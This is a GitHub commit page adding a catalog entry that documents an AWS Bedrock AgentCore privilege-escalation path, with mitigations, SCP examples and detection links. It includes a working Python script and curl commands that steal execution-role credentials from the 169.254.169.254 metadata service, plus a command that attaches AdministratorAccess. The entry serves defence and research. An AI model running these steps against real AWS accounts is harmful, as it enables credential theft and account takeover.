Skip to content

Commit d3f13d2

Browse files
authored
Merge pull request #30 from MrCloudSec/feat/agentcore-privesc-paths
feat(bedrock): add AgentCore Runtime, Harness and Browser paths
2 parents 4332431 + 11c3e93 commit d3f13d2

7 files changed

Lines changed: 1383 additions & 2 deletions

File tree

data/paths/bedrock/bedrock-001.yaml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -157,7 +157,7 @@ relatedPaths:
157157
- ec2-001
158158
- sagemaker-001
159159
detectionTools:
160-
prowler: https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L294
160+
prowler: https://github.com/prowler-cloud/prowler/blob/1e1c1c018b6466b416e8cc98a452b11d4b83ae07/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L300
161161
cloudsplaining: https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L183
162162
learningEnvironments:
163163
pathfinding-labs:

data/paths/bedrock/bedrock-002.yaml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -117,7 +117,7 @@ relatedPaths:
117117
- glue-002
118118
- ec2-002
119119
detectionTools:
120-
prowler: https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L300
120+
prowler: https://github.com/prowler-cloud/prowler/blob/1e1c1c018b6466b416e8cc98a452b11d4b83ae07/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L307
121121
cloudsplaining: https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L163
122122
permissions:
123123
required:

data/paths/bedrock/bedrock-003.yaml

Lines changed: 304 additions & 0 deletions
Large diffs are not rendered by default.
Lines changed: 267 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,267 @@
1+
id: bedrock-004
2+
name: bedrock-agentcore:InvokeAgentRuntimeCommand
3+
category: existing-passrole
4+
services:
5+
- bedrock-agentcore
6+
description: A principal with `bedrock-agentcore:InvokeAgentRuntimeCommand` can run a shell command as root inside the Firecracker microVM of an existing AgentCore Runtime or Harness, parallel to the customer agent process and bypassing the agent, model and guardrails entirely. The command reads the execution role temporary credentials from the MicroVM Metadata Service (MMDS) at 169.254.169.254, AgentCore's equivalent of EC2's IMDS, granting the attacker the full permissions of the role already attached to that resource. This path does not require `iam:PassRole` because the role is already attached to the existing resource. Harness is AgentCore Runtime with a managed agent layer on top, so the same single permission applies to both resource types. Only resources using IAM as their Inbound Auth type are affected; resources configured to use JSON Web Tokens (JWT) reject the call.
7+
prerequisites:
8+
admin:
9+
- An AgentCore Runtime or Harness must exist with an IAM execution role attached
10+
- The resource must use IAM as its Inbound Auth type (resources configured to use JWT reject InvokeAgentRuntimeCommand)
11+
- The execution role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)
12+
lateral:
13+
- An AgentCore Runtime or Harness must exist with an IAM execution role attached
14+
- The resource must use IAM as its Inbound Auth type
15+
exploitationSteps:
16+
awscli:
17+
- step: 1
18+
command: 'aws bedrock-agentcore-control list-agent-runtimes
19+
20+
aws bedrock-agentcore-control list-harnesses
21+
22+
'
23+
description: List existing runtimes and harnesses to find targets with privileged execution roles
24+
- step: 2
25+
command: aws bedrock-agentcore-control get-agent-runtime --agent-runtime-id RUNTIME_ID
26+
description: Check the resource's execution role ARN to confirm elevated permissions, and note the runtime or harness ARN to target
27+
- step: 3
28+
command: |
29+
cat << 'EOF' > "get_creds_from_runtime.py"
30+
import boto3, sys, uuid
31+
client = boto3.client("bedrock-agentcore", region_name=sys.argv[2])
32+
33+
command = """bash -c '
34+
TOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
35+
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
36+
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME
37+
'"""
38+
39+
# sys.argv[1] is the existing runtime ARN or harness ARN
40+
response = client.invoke_agent_runtime_command(
41+
agentRuntimeArn=sys.argv[1],
42+
runtimeSessionId=str(uuid.uuid4()),
43+
body={"command": command, "timeout": 30},
44+
)
45+
for event in response["stream"]:
46+
chunk = event["chunk"]
47+
if "contentDelta" in chunk and "stdout" in chunk["contentDelta"]:
48+
print(chunk["contentDelta"]["stdout"], end="")
49+
EOF
50+
description: Create the python file that submits a root shell command reading the execution role credentials from MMDS on the existing resource. The attacker rarely knows the execution role's alias in advance, so the command first queries the security-credentials path with no name to discover it, then fetches the credential document at the role-specific path, mirroring the EC2 IMDS credential-discovery pattern
51+
- step: 4
52+
command: 'CREDS=$(python3 get_creds_from_runtime.py $TARGET_ARN $AWS_REGION)
53+
54+
echo export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r ".AccessKeyId")
55+
56+
echo export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r ".SecretAccessKey")
57+
58+
echo export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r ".Token")
59+
60+
'
61+
description: Run the python file against the existing runtime or harness ARN to extract the execution role credentials
62+
- step: 5
63+
command: 'export AWS_ACCESS_KEY_ID=<AccessKeyId from step 4>
64+
65+
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey from step 4>
66+
67+
export AWS_SESSION_TOKEN=<Token from step 4>
68+
69+
aws sts get-caller-identity
70+
71+
'
72+
description: Use the stolen credentials to act as the resource execution role
73+
recommendation: |
74+
Restrict `bedrock-agentcore:InvokeAgentRuntimeCommand` using resource-level constraints, and treat it as a command-execution gate equivalent to root on the runtime microVM.
75+
76+
```json
77+
{
78+
"Effect": "Allow",
79+
"Action": "bedrock-agentcore:InvokeAgentRuntimeCommand",
80+
"Resource": "arn:aws:bedrock-agentcore:REGION:ACCOUNT_ID:runtime/SpecificRuntime"
81+
}
82+
```
83+
84+
In AWS Organizations, deny the permission org-wide except for an approved allowlist with an SCP:
85+
86+
```json
87+
{
88+
"Effect": "Deny",
89+
"Action": "bedrock-agentcore:InvokeAgentRuntimeCommand",
90+
"Resource": "*",
91+
"Condition": {
92+
"ArnNotLike": {
93+
"aws:PrincipalArn": "arn:aws:iam::*:role/ApprovedAgentCoreOperators"
94+
}
95+
}
96+
}
97+
```
98+
99+
Additional controls:
100+
- Any policy granting the `bedrock-agentcore:*` wildcard includes this permission, including the AWS managed BedrockAgentCoreFullAccess policy; audit principals that hold it
101+
- Enable CloudTrail data events for the `AWS::BedrockAgentCore::Runtime` and `RuntimeEndpoint` resource types (Harness manages a Runtime under the hood, so both are covered by these types)
102+
- The auto-created `/aws/bedrock-agentcore/runtimes/<runtimeId>-DEFAULT` CloudWatch log group records the body of every submitted command; alert on entries that touch 169.254.169.254 or security-credentials
103+
- Scope every AgentCore execution role to least privilege so a stolen role steals nothing it could not already do
104+
- Regularly audit execution roles attached to existing runtimes and harnesses, including the Console-provisioned default service roles
105+
limitations: 'This path provides administrative access only if the target resource execution role has administrative permissions. The attacker gains whatever permissions the resource role has. If the role has limited permissions, the attacker gains limited access. However, even limited access may enable multi-hop attacks or access to sensitive data.
106+
107+
'
108+
discoveryAttribution:
109+
firstDocumented:
110+
author: Sergio Garcia
111+
organization: BeyondTrust Phantom Labs
112+
date: 2026
113+
link: https://www.beyondtrust.com/blog/entry/aws-agentcore-privilege-escalation
114+
derivativeOf:
115+
pathId: bedrock-003
116+
modification: Targets an existing Runtime or Harness instead of creating one, eliminating the need for iam:PassRole and the bedrock-agentcore Create permissions; the single InvokeAgentRuntimeCommand permission covers both resource types because Harness manages a Runtime under the hood
117+
references:
118+
- title: 'Mapping Every Privilege Escalation Path in AWS AgentCore'
119+
url: https://www.beyondtrust.com/blog/entry/aws-agentcore-privilege-escalation
120+
- title: Understanding Credentials Management in Amazon Bedrock AgentCore
121+
url: https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html
122+
- title: AgentCore Harness Environment and Skills
123+
url: https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/harness-environment.html
124+
- title: AgentCore Runtime command execution security best practices
125+
url: https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/runtime-security-best-practices.html
126+
relatedPaths:
127+
- bedrock-002
128+
- bedrock-003
129+
- bedrock-005
130+
- ec2-002
131+
- lambda-003
132+
learningEnvironments:
133+
pathfinding-labs:
134+
type: open-source
135+
githubLink: https://github.com/DataDog/pathfinding-labs
136+
scenario: privesc-one-hop/to-admin/bedrockagentcore-invokeagentcommand
137+
description: Deploy Terraform into your own AWS account to practice this attack path
138+
permissions:
139+
required:
140+
- permission: bedrock-agentcore:InvokeAgentRuntimeCommand
141+
resourceConstraints: Target runtime or harness must be in the Resource section and must use IAM as its Inbound Auth type
142+
additional:
143+
- permission: bedrock-agentcore:ListAgentRuntimes
144+
resourceConstraints: List the runtimes that already exist
145+
- permission: bedrock-agentcore:GetAgentRuntime
146+
resourceConstraints: Identify the execution role and Inbound Auth type of a target resource
147+
detectionTools:
148+
prowler: https://github.com/prowler-cloud/prowler/blob/1e1c1c018b6466b416e8cc98a452b11d4b83ae07/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L314
149+
attackVisualization:
150+
nodes:
151+
- id: start
152+
label: Starting Principal
153+
type: principal
154+
description: The principal with bedrock-agentcore:InvokeAgentRuntimeCommand. Can be an IAM user or role. This attack targets an existing runtime or harness rather than creating one, so iam:PassRole is not required.
155+
- id: agent_resource
156+
label: Existing Runtime or Harness
157+
type: resource
158+
description: An existing AgentCore Runtime or Harness with a privileged execution role already attached, using IAM as its Inbound Auth type. The resource runs on a Firecracker microVM with access to the MicroVM Metadata Service (MMDS) at 169.254.169.254, AgentCore's equivalent of EC2's IMDS.
159+
- id: execution_role
160+
label: Resource Execution Role
161+
type: principal
162+
description: The IAM role attached to the runtime or harness as its execution role. A command submitted through InvokeAgentRuntimeCommand runs as root in the microVM with this role's credentials available on MMDS at the execution_role endpoint. This role must trust bedrock-agentcore.amazonaws.com in its trust policy.
163+
- id: method_sdk_attack
164+
label: 'Method 1: Act directly from the root shell'
165+
type: payload
166+
color: '#99ccff'
167+
description: |
168+
The submitted command runs as root inside the microVM where the execution role credentials are already present, so the attacker can perform privileged actions in place without exfiltrating anything.
169+
170+
Example command body invoked through InvokeAgentRuntimeCommand:
171+
```bash
172+
aws iam attach-user-policy \
173+
--user-name attacker-user \
174+
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
175+
```
176+
- id: method_cred_exfil
177+
label: 'Method 2: Exfiltrate credentials to the response stream'
178+
type: payload
179+
color: '#99ccff'
180+
description: |
181+
The submitted command reads the execution role credentials from MMDS and prints them, and AgentCore returns the output in the response stream so the attacker can use the credentials from any location. Since the attacker typically does not know the execution role's alias in advance, the command first queries the security-credentials path with no name to discover it, then fetches the full credential document at the role-specific path, the same two-step pattern used to exfiltrate credentials from EC2's IMDS.
182+
183+
Example command body invoked through InvokeAgentRuntimeCommand:
184+
```bash
185+
TOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
186+
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
187+
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME
188+
```
189+
190+
This returns AccessKeyId, SecretAccessKey and Token, which the attacker can export and use until they expire.
191+
- id: admin
192+
label: Effective Administrator
193+
type: outcome
194+
description: The resource execution role has AdministratorAccess or equivalent permissions, so acting as the role or using its exfiltrated credentials gives the attacker full administrative access to the AWS account.
195+
- id: some_perms
196+
label: Some additional access
197+
type: outcome
198+
color: '#ffeb99'
199+
description: The execution role has some elevated permissions but not full admin. This could provide data access (S3, RDS, DynamoDB) or enable additional privilege escalation paths. The attacker should enumerate the role permissions to determine what was gained.
200+
- id: no_access
201+
label: No additional access
202+
type: outcome
203+
color: '#cccccc'
204+
description: The execution role only has minimal permissions (e.g., logs:PutLogEvents). Limited usefulness for privilege escalation, and the attacker would target a different resource.
205+
edges:
206+
- from: start
207+
to: agent_resource
208+
label: Target existing runtime or harness
209+
description: |
210+
Identify an existing runtime or harness that has a privileged execution role attached and uses IAM Inbound Auth. Use the list and get control-plane calls to discover candidates and confirm their execution role.
211+
212+
Commands:
213+
```bash
214+
aws bedrock-agentcore-control list-agent-runtimes
215+
aws bedrock-agentcore-control list-harnesses
216+
aws bedrock-agentcore-control get-agent-runtime --agent-runtime-id RUNTIME_ID
217+
```
218+
- from: agent_resource
219+
to: execution_role
220+
label: bedrock-agentcore:InvokeAgentRuntimeCommand
221+
description: The attacker submits a shell command that runs as root inside the microVM, parallel to the agent process and bypassing the agent, model and guardrails. The command has access to the execution role credentials through MMDS.
222+
- from: execution_role
223+
to: method_sdk_attack
224+
label: Option A
225+
branch: A
226+
description: The attacker submits a command that uses the role credentials in place from the root shell to perform privileged actions directly.
227+
- from: execution_role
228+
to: method_cred_exfil
229+
label: Option B
230+
branch: B
231+
description: The attacker submits a command that reads the role credentials from MMDS and returns them in the response stream for use from any location.
232+
- from: method_sdk_attack
233+
to: admin
234+
label: If the execution role has admin permissions
235+
branch: A1
236+
condition: admin
237+
description: If the execution role has AdministratorAccess or equivalent, the in-place command grants the starting principal full administrative access, for example by attaching admin policies or creating admin access keys.
238+
- from: method_sdk_attack
239+
to: some_perms
240+
label: If the execution role has some elevated permissions
241+
branch: A2
242+
condition: some_permissions
243+
description: If the execution role has some elevated permissions, the in-place command can still grant useful additional access within the role permission scope or reach sensitive resources.
244+
- from: method_sdk_attack
245+
to: no_access
246+
label: If the execution role has minimal permissions
247+
branch: A3
248+
condition: no_permissions
249+
description: If the execution role only has minimal permissions, the in-place command cannot perform meaningful privilege escalation and the attacker would target a different resource.
250+
- from: method_cred_exfil
251+
to: admin
252+
label: If the execution role has admin permissions
253+
branch: B1
254+
condition: admin
255+
description: If the execution role has AdministratorAccess or equivalent, the exfiltrated credentials give the attacker full administrative access to the AWS account from any location.
256+
- from: method_cred_exfil
257+
to: some_perms
258+
label: If the execution role has some elevated permissions
259+
branch: B2
260+
condition: some_permissions
261+
description: If the execution role has some elevated permissions, the exfiltrated credentials can be used for lateral movement or additional attacks.
262+
- from: method_cred_exfil
263+
to: no_access
264+
label: If the execution role has minimal permissions
265+
branch: B3
266+
condition: no_permissions
267+
description: If the execution role only has minimal permissions, the exfiltrated credentials provide limited value for privilege escalation.

0 commit comments

Comments
 (0)